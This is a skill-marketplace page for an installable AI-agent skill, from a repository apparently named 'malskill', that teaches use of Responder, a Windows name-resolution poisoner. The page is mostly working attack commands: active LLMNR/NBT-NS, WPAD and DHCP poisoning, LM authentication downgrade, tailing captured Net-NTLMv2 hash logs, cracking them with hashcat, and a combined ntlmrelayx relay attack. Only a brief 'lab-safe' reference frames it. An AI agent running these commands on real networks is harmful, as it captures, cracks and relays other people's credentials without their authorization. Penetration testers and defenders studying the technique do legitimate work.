aeondave/malskill/responder

Name: responder
Author: aeondave

Claude Code and agent skill by aeondave/malskill

Trust tier 2

community

LLM review pending

By aeondave
Coding
aeondave/malskill
offensive-tools/network/responder/SKILL.md
Updated 6 Nov 2026
Version 1.0.01 version recorded

Source check pending

Checking that the SKILL.md file is still in the repository.

Auth/lab ref: Responder LLMNR/NBT-NS/mDNS assessment; name-resolution exposure, NTLM relay-risk evidence, lab-safe validation.

Install

npx vskill@latest install aeondave/malskill/responder

SKILL.md

Responder

LLMNR/NBT-NS/mDNS poisoner — captures Net-NTLMv2 hashes from Windows hosts on local network.

Concept

When a Windows host tries to resolve a hostname that DNS cannot answer, it falls back to LLMNR/NBT-NS broadcast. Responder answers those broadcasts with its own IP, causing the Windows host to authenticate — Responder captures the Net-NTLMv2 hash.

Quick Start

bash

# Start passively (analyze mode — no poisoning)
sudo responder -I eth0 -A
 
# Active poisoning (captures hashes)
sudo responder -I eth0 -wv
 
# Captured hashes saved to:
# /usr/share/responder/logs/ or ~/.responder/logs/

Core Flags

Flag	Description
`-I <iface>`	Network interface
`-A`	Analyze mode — no poisoning
`-w`	Enable WPAD rogue proxy server
`-d`	Enable DHCP poisoning
`-b`	Enable Basic HTTP auth capture
`-v`	Verbose (show each request)
`-f`	Fingerprint hosts
`--lm`	Downgrade auth to LM (legacy)
`--disable-ess`	Disable extended session security
`--lm`	Force LM hashing
`-r`	Enable WINS server
`--no-multirelay`	Disable relay mode

Rogue Servers Enabled by Default

SMB, HTTP, HTTPS, FTP, DNS, LDAP, MSSQL, NTLMv1, NTLMv2

Common Workflows

bash

# Passive capture — wait for Windows hosts to broadcast
sudo responder -I eth0 -wv
 
# View captured hashes in real-time
tail -f /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt
 
# Crack captured hashes
hashcat -a 0 -m 5600 hashes.txt rockyou.txt
 
# Disable SMB + HTTP for relay (if using ntlmrelayx in parallel)
# Edit /etc/responder/Responder.conf:
# SMB = Off
# HTTP = Off
sudo responder -I eth0 -wv
 
# Combined relay attack:
# Terminal 1: ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
 
# Terminal 2: Responder (SMB+HTTP off)
sudo responder -I eth0 -wv

Captured Hash Format

[SMB] NTLMv2 Hash    : DOMAIN\user::DOMAIN:challenge:hash:blob

Crack with hashcat mode 5600 (Net-NTLMv2) or pass via relay.

Resources

File	When to load
`references/ntlm-relay.md`	Full relay chain: ntlmrelayx setup, LDAP relay, SMB signing bypass, RBCD

Security

Security scanPassed, 100 of 100Pattern checks on the skill's files.
Model reviewNot runA model review is scheduled for the next rescan.

See the full security report

Quality evaluation

Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

SKILL.md in the repositoryCheckingoffensive-tools/network/responder/SKILL.md

Popularity

Repository stars: 22
Repository forks: 1
7-day trend score: 21

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

Claude Code
Cursor
GitHub Copilot
Windsurf
Codex
Gemini CLI
Cline
Amp
Roo Code
Goose
Continue
Kilo Code
Junie
Trae
OpenHands
Qwen Code
AI Agent
Tabnine Chat
Sourcegraph Cody
Amazon Q
Firebase Genkit
Sweep
Devin
Phind
Mentat
Claude Desktop
Aider
GPT Pilot
Plandex
bolt.new
v0
Replit Agent
Anse
TypingMind
BetterChatGPT
LibreChat
Warp AI
Pieces
Fig AI

Embed badge

[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/aeondave/malskill/responder/badge)](https://verified-skill.com/skills/aeondave/malskill/responder)

Something wrong with this skill or its page? Tell us.